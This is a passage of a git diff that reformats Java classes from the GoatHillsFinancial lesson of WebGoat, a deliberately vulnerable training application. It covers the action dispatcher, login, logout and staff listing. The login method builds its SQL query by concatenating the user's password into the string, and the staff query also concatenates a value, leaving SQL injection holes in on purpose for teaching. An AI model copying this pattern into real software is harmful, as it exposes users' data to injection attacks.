- }
-
- protected void registerActions(String className) {
- registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
- registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
- registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
- registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
- registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
-
- // These actions are special in that they chain to other actions.
- registerAction(new Login(this, className, LOGIN_ACTION,
- getAction(LISTSTAFF_ACTION)));
- registerAction(new Logout(this, className, LOGOUT_ACTION,
- getAction(LOGIN_ACTION)));
- registerAction(new FindProfile(this, className, FINDPROFILE_ACTION,
- getAction(VIEWPROFILE_ACTION)));
- registerAction(new UpdateProfile(this, className,
- UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
- registerAction(new DeleteProfile(this, className,
- DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
- }
-
- protected final String parseClassName(String fqcn)
- {
- String className = fqcn;
-
- int lastDotIndex = fqcn.lastIndexOf('.');
- if (lastDotIndex > -1)
- className = fqcn.substring(lastDotIndex + 1);
-
- return className;
- }
-
- protected void registerAction(LessonAction action)
- {
- lessonFunctions.put(action.getActionName(), action);
- }
-
- public String[] getStages() {
- return new String[] {};
- }
-
- protected List getHints(WebSession s)
- {
- return new ArrayList();
- }
-
- public String getInstructions(WebSession s)
- {
- return "";
- }
-
- protected LessonAction getAction(String actionName)
- {
- return lessonFunctions.get(actionName);
- }
-
- public void handleRequest(WebSession s)
- {
- if (s.getLessonSession(this) == null)
- s.openLessonSession(this);
-
- String requestedActionName = null;
- try
+ public GoatHillsFinancial()
{
- requestedActionName = s.getParser().getStringParameter("action");
- }
- catch (ParameterNotFoundException pnfe)
- {
- // Let them eat login page.
- requestedActionName = LOGIN_ACTION;
+ String myClassName = parseClassName(this.getClass().getName());
+ registerActions(myClassName);
}
- try
+ protected void registerActions(String className)
{
- LessonAction action = getAction(requestedActionName);
- if (action == null)
- {
+ registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
+ registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
+ registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
+ registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
+ registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
+
+ // These actions are special in that they chain to other actions.
+ registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
+ registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
+ registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
+ registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
+ registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
+ }
+
+ protected final String parseClassName(String fqcn)
+ {
+ String className = fqcn;
+
+ int lastDotIndex = fqcn.lastIndexOf('.');
+ if (lastDotIndex > -1) className = fqcn.substring(lastDotIndex + 1);
+
+ return className;
+ }
+
+ protected void registerAction(LessonAction action)
+ {
+ lessonFunctions.put(action.getActionName(), action);
+ }
+
+ public String[] getStages()
+ {
+ return new String[] {};
+ }
+
+ protected List getHints(WebSession s)
+ {
+ return new ArrayList();
+ }
+
+ public String getInstructions(WebSession s)
+ {
+ return "";
+ }
+
+ protected LessonAction getAction(String actionName)
+ {
+ return lessonFunctions.get(actionName);
+ }
+
+ public void handleRequest(WebSession s)
+ {
+ if (s.getLessonSession(this) == null) s.openLessonSession(this);
+
+ String requestedActionName = null;
+ try
+ {
+ requestedActionName = s.getParser().getStringParameter("action");
+ } catch (ParameterNotFoundException pnfe)
+ {
+ // Let them eat login page.
+ requestedActionName = LOGIN_ACTION;
+ }
+
+ try
+ {
+ LessonAction action = getAction(requestedActionName);
+ if (action == null)
+ {
+ setCurrentAction(s, ERROR_ACTION);
+ }
+ else
+ {
+ // System.out.println("GoatHillsFinancial.handleRequest() dispatching to: " +
+ // action.getActionName());
+ if (action.requiresAuthentication())
+ {
+ if (action.isAuthenticated(s))
+ {
+ action.handleRequest(s);
+ }
+ else
+ throw new UnauthenticatedException();
+ }
+ else
+ {
+ // Access to Login does not require authentication.
+ action.handleRequest(s);
+ }
+ }
+ } catch (ParameterNotFoundException pnfe)
+ {
+ System.out.println("Missing parameter");
+ pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
- } else
- {
- //System.out.println("GoatHillsFinancial.handleRequest() dispatching to: " + action.getActionName());
- if (action.requiresAuthentication())
+ } catch (ValidationException ve)
{
- if (action.isAuthenticated(s))
- {
- action.handleRequest(s);
- }
- else
- throw new UnauthenticatedException();
- }
- else
+ System.out.println("Validation failed");
+ ve.printStackTrace();
+ setCurrentAction(s, ERROR_ACTION);
+ } catch (UnauthenticatedException ue)
{
- // Access to Login does not require authentication.
- action.handleRequest(s);
+ s.setMessage("Login failed");
+ System.out.println("Authentication failure");
+ ue.printStackTrace();
+ } catch (UnauthorizedException ue2)
+ {
+ s.setMessage("You are not authorized to perform this function");
+ System.out.println("Authorization failure");
+ setCurrentAction(s, ERROR_ACTION);
+ ue2.printStackTrace();
+ } catch (Exception e)
+ {
+ // All other errors send the user to the generic error page
+ System.out.println("handleRequest() error");
+ e.printStackTrace();
+ setCurrentAction(s, ERROR_ACTION);
}
- }
+
+ // All this does for this lesson is ensure that a non-null content exists.
+ setContent(new ElementContainer());
}
- catch (ParameterNotFoundException pnfe)
+
+ public boolean isAuthorized(WebSession s, int userId, String functionId)
{
- System.out.println("Missing parameter");
- pnfe.printStackTrace();
- setCurrentAction(s, ERROR_ACTION);
+ // System.out.println("Checking authorization from " + getCurrentAction(s));
+ LessonAction action = getAction(getCurrentAction(s));
+ return action.isAuthorized(s, userId, functionId);
}
- catch (ValidationException ve)
+
+ public int getUserId(WebSession s) throws ParameterNotFoundException
{
- System.out.println("Validation failed");
- ve.printStackTrace();
- setCurrentAction(s, ERROR_ACTION);
+ LessonAction action = getAction(getCurrentAction(s));
+ return action.getUserId(s);
}
- catch (UnauthenticatedException ue)
+
+ public String getUserName(WebSession s) throws ParameterNotFoundException
{
- s.setMessage("Login failed");
- System.out.println("Authentication failure");
- ue.printStackTrace();
+ LessonAction action = getAction(getCurrentAction(s));
+ return action.getUserName(s);
}
- catch (UnauthorizedException ue2)
+
+ protected String getJspPath()
{
- s.setMessage("You are not authorized to perform this function");
- System.out.println("Authorization failure");
- setCurrentAction(s, ERROR_ACTION);
- ue2.printStackTrace();
+ return "/lessons/" + getLessonName() + "/";
}
- catch (Exception e)
+
+ public String getTemplatePage(WebSession s)
{
- // All other errors send the user to the generic error page
- System.out.println("handleRequest() error");
- e.printStackTrace();
- setCurrentAction(s, ERROR_ACTION);
+ return getJspPath() + getLessonName() + ".jsp";
}
- // All this does for this lesson is ensure that a non-null content exists.
- setContent(new ElementContainer());
- }
+ public String getPage(WebSession s)
+ {
+ String page = getJspPath() + getCurrentAction(s) + ".jsp";
- public boolean isAuthorized(WebSession s, int userId, String functionId)
- {
- //System.out.println("Checking authorization from " + getCurrentAction(s));
- LessonAction action = getAction(getCurrentAction(s));
- return action.isAuthorized(s, userId, functionId);
- }
+ return page;
+ }
- public int getUserId(WebSession s) throws ParameterNotFoundException
- {
- LessonAction action = getAction(getCurrentAction(s));
- return action.getUserId(s);
- }
+ protected Integer getDefaultRanking()
+ {
+ return DEFAULT_RANKING;
+ }
- public String getUserName(WebSession s) throws ParameterNotFoundException
- {
- LessonAction action = getAction(getCurrentAction(s));
- return action.getUserName(s);
- }
+ public String getTitle()
+ {
+ return "Goat Hills Financials";
+ }
- protected String getJspPath() {
- return "/lessons/" + getLessonName() + "/";
- }
-
- public String getTemplatePage(WebSession s)
- {
- return getJspPath() + getLessonName() + ".jsp";
- }
+ public String getSourceFileName()
+ {
+ // FIXME: Need to generalize findSourceResource() and use it on the currently active
+ // LessonAction delegate to get its source file.
+ // return findSourceResource(getCurrentLessonScreen()....);
+ return super.getSourceFileName();
+ }
- public String getPage(WebSession s)
- {
- String page = getJspPath() + getCurrentAction(s) + ".jsp";
-
- return page;
- }
-
- protected Integer getDefaultRanking()
- {
- return DEFAULT_RANKING;
- }
-
- public String getTitle()
- {
- return "Goat Hills Financials";
- }
-
- public String getSourceFileName()
- {
- // FIXME: Need to generalize findSourceResource() and use it on the currently active
- // LessonAction delegate to get its source file.
- //return findSourceResource(getCurrentLessonScreen()....);
- return super.getSourceFileName();
- }
-
- @Override
- protected boolean getDefaultHidden() {
+ @Override
+ protected boolean getDefaultHidden()
+ {
return getClass().equals(GoatHillsFinancial.class);
}
public Element getCredits()
- {
- return super.getCustomCredits("", ASPECT_LOGO);
- }
+ {
+ return super.getCustomCredits("", ASPECT_LOGO);
+ }
@Override
- protected String getLessonName() {
+ protected String getLessonName()
+ {
String className = getClass().getName();
int index = className.lastIndexOf('.');
- if (index > -1)
- return className.substring(index+1);
+ if (index > -1) return className.substring(index + 1);
return super.getLessonName();
}
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/LessonAction.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/LessonAction.java
index 8bcf4baa8..257abe1dd 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/LessonAction.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/LessonAction.java
@@ -1,3 +1,4 @@
+
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import org.owasp.webgoat.session.ParameterNotFoundException;
@@ -6,22 +7,23 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
+
public interface LessonAction
{
- public void handleRequest(WebSession s)
- throws ParameterNotFoundException, UnauthenticatedException, UnauthorizedException, ValidationException;
-
+ public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
+ UnauthorizedException, ValidationException;
+
public String getNextPage(WebSession s);
-
+
public String getActionName();
public boolean requiresAuthentication();
-
+
public boolean isAuthenticated(WebSession s);
-
+
public boolean isAuthorized(WebSession s, int employeeId, String functionId);
-
+
public int getUserId(WebSession s) throws ParameterNotFoundException;
-
+
public String getUserName(WebSession s) throws ParameterNotFoundException;
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/ListStaff.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/ListStaff.java
index efee3ef10..7972b2700 100755
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/ListStaff.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/ListStaff.java
@@ -1,3 +1,4 @@
+
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.ResultSet;
@@ -5,117 +6,107 @@ import java.sql.SQLException;
import java.sql.Statement;
import java.util.List;
import java.util.Vector;
-
import org.owasp.webgoat.session.EmployeeStub;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class ListStaff extends DefaultLessonAction
{
- public ListStaff(GoatHillsFinancial lesson, String lessonName, String actionName)
- {
- super(lesson, lessonName, actionName);
- }
-
- public void handleRequest(WebSession s) throws ParameterNotFoundException,
- UnauthenticatedException, UnauthorizedException
- {
- getLesson().setCurrentAction(s, getActionName());
-
- if (isAuthenticated(s))
+ public ListStaff(GoatHillsFinancial lesson, String lessonName, String actionName)
{
- int userId = getIntSessionAttribute(s, getLessonName() + "."
- + GoatHillsFinancial.USER_ID);
-
- List employees = getAllEmployees(s, userId);
- setSessionAttribute(s, getLessonName() + "."
- + GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees);
+ super(lesson, lessonName, actionName);
}
- else
- throw new UnauthenticatedException();
- }
- public String getNextPage(WebSession s)
- {
- return GoatHillsFinancial.LISTSTAFF_ACTION;
- }
-
- public List getAllEmployees(WebSession s, int userId)
- throws UnauthorizedException
- {
- // Query the database for all employees "owned" by the given employee
-
- List employees = new Vector();
-
- try
+ public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
+ UnauthorizedException
{
- String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in "
- + "(SELECT employee_id FROM ownership WHERE employer_id = "
- + userId + ")";
+ getLesson().setCurrentAction(s, getActionName());
- try
- {
- Statement answer_statement = WebSession.getConnection(s)
- .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
- ResultSet.CONCUR_READ_ONLY);
- ResultSet answer_results = answer_statement.executeQuery(query);
- answer_results.beforeFirst();
- while (answer_results.next())
+ if (isAuthenticated(s))
{
- int employeeId = answer_results.getInt("userid");
- String firstName = answer_results.getString("first_name");
- String lastName = answer_results.getString("last_name");
- String role = answer_results.getString("role");
- //System.out.println("Retrieving employee stub for role " + role);
- EmployeeStub stub = new EmployeeStub(employeeId, firstName,
- lastName, role);
- employees.add(stub);
+ int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID);
+
+ List employees = getAllEmployees(s, userId);
+ setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees);
}
- }
- catch (SQLException sqle)
- {
- s.setMessage("Error getting employees");
- sqle.printStackTrace();
- }
- }
- catch (Exception e)
- {
- s.setMessage("Error getting employees");
- e.printStackTrace();
+ else
+ throw new UnauthenticatedException();
}
- return employees;
- }
+ public String getNextPage(WebSession s)
+ {
+ return GoatHillsFinancial.LISTSTAFF_ACTION;
+ }
+
+ public List getAllEmployees(WebSession s, int userId) throws UnauthorizedException
+ {
+ // Query the database for all employees "owned" by the given employee
+
+ List employees = new Vector();
+
+ try
+ {
+ String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in "
+ + "(SELECT employee_id FROM ownership WHERE employer_id = " + userId + ")";
+
+ try
+ {
+ Statement answer_statement = WebSession.getConnection(s)
+ .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
+ ResultSet answer_results = answer_statement.executeQuery(query);
+ answer_results.beforeFirst();
+ while (answer_results.next())
+ {
+ int employeeId = answer_results.getInt("userid");
+ String firstName = answer_results.getString("first_name");
+ String lastName = answer_results.getString("last_name");
+ String role = answer_results.getString("role");
+ // System.out.println("Retrieving employee stub for role " + role);
+ EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role);
+ employees.add(stub);
+ }
+ } catch (SQLException sqle)
+ {
+ s.setMessage("Error getting employees");
+ sqle.printStackTrace();
+ }
+ } catch (Exception e)
+ {
+ s.setMessage("Error getting employees");
+ e.printStackTrace();
+ }
+
+ return employees;
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/Login.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/Login.java
index d2ef4508d..96834fb08 100755
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/Login.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/Login.java
@@ -1,3 +1,4 @@
+
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.ResultSet;
@@ -5,7 +6,6 @@ import java.sql.SQLException;
import java.sql.Statement;
import java.util.List;
import java.util.Vector;
-
import org.owasp.webgoat.session.EmployeeStub;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
@@ -13,207 +13,179 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class Login extends DefaultLessonAction
{
- private LessonAction chainedAction;
+ private LessonAction chainedAction;
-
- public Login(GoatHillsFinancial lesson, String lessonName, String actionName,
- LessonAction chainedAction)
- {
- super(lesson, lessonName, actionName);
- this.chainedAction = chainedAction;
- }
-
-
- public void handleRequest(WebSession s) throws ParameterNotFoundException,
- ValidationException
- {
- //System.out.println("Login.handleRequest()");
- getLesson().setCurrentAction(s, getActionName());
-
- List employees = getAllEmployees(s);
- setSessionAttribute(s, getLessonName() + "."
- + GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees);
-
- int employeeId = -1;
- try
+ public Login(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{
- employeeId = s.getParser().getIntParameter(
- GoatHillsFinancial.EMPLOYEE_ID);
- String password = s.getParser().getStringParameter(
- GoatHillsFinancial.PASSWORD);
+ super(lesson, lessonName, actionName);
+ this.chainedAction = chainedAction;
+ }
- // Attempt authentication
- if (login(s, employeeId, password))
- {
- // Execute the chained Action if authentication succeeded.
+ public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException
+ {
+ // System.out.println("Login.handleRequest()");
+ getLesson().setCurrentAction(s, getActionName());
+
+ List employees = getAllEmployees(s);
+ setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.STAFF_ATTRIBUTE_KEY, employees);
+
+ int employeeId = -1;
try
{
- chainedAction.handleRequest(s);
- }
- catch (UnauthenticatedException ue1)
+ employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID);
+ String password = s.getParser().getStringParameter(GoatHillsFinancial.PASSWORD);
+
+ // Attempt authentication
+ if (login(s, employeeId, password))
+ {
+ // Execute the chained Action if authentication succeeded.
+ try
+ {
+ chainedAction.handleRequest(s);
+ } catch (UnauthenticatedException ue1)
+ {
+ System.out.println("Internal server error");
+ ue1.printStackTrace();
+ } catch (UnauthorizedException ue2)
+ {
+ System.out.println("Internal server error");
+ ue2.printStackTrace();
+ }
+ }
+ else
+ s.setMessage("Login failed");
+ } catch (ParameterNotFoundException pnfe)
{
- System.out.println("Internal server error");
- ue1.printStackTrace();
+ // No credentials offered, so we log them out
+ setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE);
}
- catch (UnauthorizedException ue2)
+ }
+
+ /**
+ * After this.handleRequest() is called, when the View asks for the current JSP to load, it will
+ * get one initialized by this call.
+ */
+ public String getNextPage(WebSession s)
+ {
+ String nextPage = GoatHillsFinancial.LOGIN_ACTION;
+
+ if (isAuthenticated(s)) nextPage = chainedAction.getNextPage(s);
+
+ return nextPage;
+
+ }
+
+ public boolean requiresAuthentication()
+ {
+ return false;
+ }
+
+ public boolean login(WebSession s, int userId, String password)
+ {
+ // System.out.println("Logging in to lesson");
+ boolean authenticated = false;
+
+ try
{
- System.out.println("Internal server error");
- ue2.printStackTrace();
- }
- }
- else
- s.setMessage("Login failed");
- }
- catch (ParameterNotFoundException pnfe)
- {
- // No credentials offered, so we log them out
- setSessionAttribute(s, getLessonName() + ".isAuthenticated",
- Boolean.FALSE);
- }
- }
+ String query = "SELECT * FROM employee WHERE userid = " + userId + " and password = '" + password + "'";
+ try
+ {
+ Statement answer_statement = WebSession.getConnection(s)
+ .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
+ ResultSet answer_results = answer_statement.executeQuery(query);
+ if (answer_results.first())
+ {
+ setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE);
+ setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID, Integer.toString(userId));
+ authenticated = true;
+ }
- /**
- * After this.handleRequest() is called, when the View asks for the current JSP to load,
- * it will get one initialized by this call.
- */
- public String getNextPage(WebSession s)
- {
- String nextPage = GoatHillsFinancial.LOGIN_ACTION;
-
- if (isAuthenticated(s))
- nextPage = chainedAction.getNextPage(s);
-
- return nextPage;
-
- }
-
-
- public boolean requiresAuthentication()
- {
- return false;
- }
-
-
- public boolean login(WebSession s, int userId, String password)
- {
- //System.out.println("Logging in to lesson");
- boolean authenticated = false;
-
- try
- {
- String query = "SELECT * FROM employee WHERE userid = " + userId
- + " and password = '" + password + "'";
-
- try
- {
- Statement answer_statement = WebSession.getConnection(s)
- .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
- ResultSet.CONCUR_READ_ONLY);
- ResultSet answer_results = answer_statement.executeQuery(query);
- if (answer_results.first())
+ } catch (SQLException sqle)
+ {
+ s.setMessage("Error logging in");
+ sqle.printStackTrace();
+ }
+ } catch (Exception e)
{
- setSessionAttribute(s,
- getLessonName() + ".isAuthenticated", Boolean.TRUE);
- setSessionAttribute(s, getLessonName() + "."
- + GoatHillsFinancial.USER_ID, Integer
- .toString(userId));
- authenticated = true;
+ s.setMessage("Error logging in");
+ e.printStackTrace();
}
- }
- catch (SQLException sqle)
- {
- s.setMessage("Error logging in");
- sqle.printStackTrace();
- }
- }
- catch (Exception e)
- {
- s.setMessage("Error logging in");
- e.printStackTrace();
+ // System.out.println("Lesson login result: " + authenticated);
+ return authenticated;
}
- //System.out.println("Lesson login result: " + authenticated);
- return authenticated;
- }
-
-
- public List getAllEmployees(WebSession s)
- {
- List employees = new Vector();
-
- // Query the database for all roles the given employee belongs to
- // Query the database for all employees "owned" by these roles
-
- try
+ public List getAllEmployees(WebSession s)
{
- String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles "
- + "where employee.userid=roles.userid";
+ List employees = new Vector();
- try
- {
- Statement answer_statement = WebSession.getConnection(s)
- .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
- ResultSet.CONCUR_READ_ONLY);
- ResultSet answer_results = answer_statement.executeQuery(query);
- answer_results.beforeFirst();
- while (answer_results.next())
+ // Query the database for all roles the given employee belongs to
+ // Query the database for all employees "owned" by these roles
+
+ try
{
- int employeeId = answer_results.getInt("userid");
- String firstName = answer_results.getString("first_name");
- String lastName = answer_results.getString("last_name");
- String role = answer_results.getString("role");
- EmployeeStub stub = new EmployeeStub(employeeId, firstName,
- lastName, role);
- employees.add(stub);
- }
- }
- catch (SQLException sqle)
- {
- s.setMessage("Error getting employees");
- sqle.printStackTrace();
- }
- }
- catch (Exception e)
- {
- s.setMessage("Error getting employees");
- e.printStackTrace();
- }
+ String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles "
+ + "where employee.userid=roles.userid";
- return employees;
- }
+ try
+ {
+ Statement answer_statement = WebSession.getConnection(s)
+ .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
+ ResultSet answer_results = answer_statement.executeQuery(query);
+ answer_results.beforeFirst();
+ while (answer_results.next())
+ {
+ int employeeId = answer_results.getInt("userid");
+ String firstName = answer_results.getString("first_name");
+ String lastName = answer_results.getString("last_name");
+ String role = answer_results.getString("role");
+ EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role);
+ employees.add(stub);
+ }
+ } catch (SQLException sqle)
+ {
+ s.setMessage("Error getting employees");
+ sqle.printStackTrace();
+ }
+ } catch (Exception e)
+ {
+ s.setMessage("Error getting employees");
+ e.printStackTrace();
+ }
+
+ return employees;
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/Logout.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/Logout.java
index c02c3cef6..3e155d5fa 100755
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/Logout.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/Logout.java
@@ -1,3 +1,4 @@
+
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import org.owasp.webgoat.session.ParameterNotFoundException;
@@ -6,79 +7,70 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class Logout extends DefaultLessonAction
{
- private LessonAction chainedAction;
+ private LessonAction chainedAction;
-
- public Logout(GoatHillsFinancial lesson, String lessonName, String actionName,
- LessonAction chainedAction)
- {
- super(lesson, lessonName, actionName);
- this.chainedAction = chainedAction;
- }
-
-
- public void handleRequest(WebSession s) throws ParameterNotFoundException,
- ValidationException
- {
- //System.out.println("Logging out");
-
- setSessionAttribute(s, getLessonName() + ".isAuthenticated",
- Boolean.FALSE);
-
- // FIXME: Maybe we should forward to Login.
- try
+ public Logout(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{
- chainedAction.handleRequest(s);
- }
- catch (UnauthenticatedException ue1)
- {
- System.out.println("Internal server error");
- ue1.printStackTrace();
- }
- catch (UnauthorizedException ue2)
- {
- System.out.println("Internal server error");
- ue2.printStackTrace();
+ super(lesson, lessonName, actionName);
+ this.chainedAction = chainedAction;
}
- }
+ public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException
+ {
+ // System.out.println("Logging out");
+ setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE);
- public String getNextPage(WebSession s)
- {
- return chainedAction.getNextPage(s);
- }
+ // FIXME: Maybe we should forward to Login.
+ try
+ {
